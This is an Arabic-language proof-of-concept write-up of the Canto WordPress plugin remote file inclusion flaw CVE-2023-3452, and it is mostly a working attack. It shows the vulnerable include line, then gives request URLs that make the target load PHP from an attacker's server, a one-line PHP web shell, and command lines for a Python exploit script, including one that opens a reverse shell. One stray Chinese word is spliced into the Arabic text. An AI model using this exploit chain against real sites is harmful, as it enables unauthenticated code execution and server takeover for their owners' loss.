
إضافة ووردبريس Canto < 3.0.5 - تضمين الملفات عن بُعد (RFI) وتنفيذ التعليمات البرمجية عن بُعد (RCE)
هنا نشرح PoC لأحدث ثغرة تضمين ملفات عن بُعد (RFI) في إضافة Canto لووردبريس، وقد طوّرنا استغلالًا (exploit) لأتمتة تنفيذ الأوامر.
"إضافة Canto لووردبريس عرضة لتضمين الملفات عن بُعد في الإصدارات حتى 3.0.4 وما يشملها عبر معامل 'wp_abspath'. وهذا يسمح للمهاجمين غير المصادق عليهم بتضمين وتنفيذ كود تعسفي عن بُعد على الخادم، بشرط أن يكون allow_url_include مفعّلًا. كما أن تضمين الملفات المحلية (Local File Inclusion) ممكن أيضًا، إلا أنه أقل فائدة لأنه يتطلب أن يكون المهاجم قادرًا على رفع ملف php خبيث عبر FTP أو وسيلة أخرى إلى دليل يمكن لخادم الويب قراءته." (https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
يستغل هذا الاستغلال خطأً في معامل wp_abspath كما يظهر في السطر التالي من الكود includes/lib/download.php:
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
لاستغلال هذه الثغرة، من الضروري أيضًا أن يكون معامل allow_url_include=On مفعّلًا في إعدادات php.
من الممكن إرسال طلبات بهذا المعامل指向 خادم الويب الخاص بنا والذي سيتم من خلاله تفسير كود php. على سبيل المثال، إذا أرسلنا الطلب التالي، يمكننا التحقق من أننا نستقبل الطلب على خادمنا:
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

نرى أن الخادم يستدعي ملف /wp-admin/admin.php، لذلك إذا أنشأنا الدليل وأضفنا كود php الخبيث إلى ملف admin.php، فإن الخادم المعرّض للثغرة يقوم بتنزيله وتنفيذه بشكل صحيح.
على سبيل المثال، إذا كتبنا في ملف admin.php الخاص بنا قشرة ويب php <?php system($_GET['cmd']); ?> يمكننا تنفيذ الكود عن بُعد.
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

تمت أتمتة كل هذا في استغلال بايثون: CVE-2023-3452.py
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
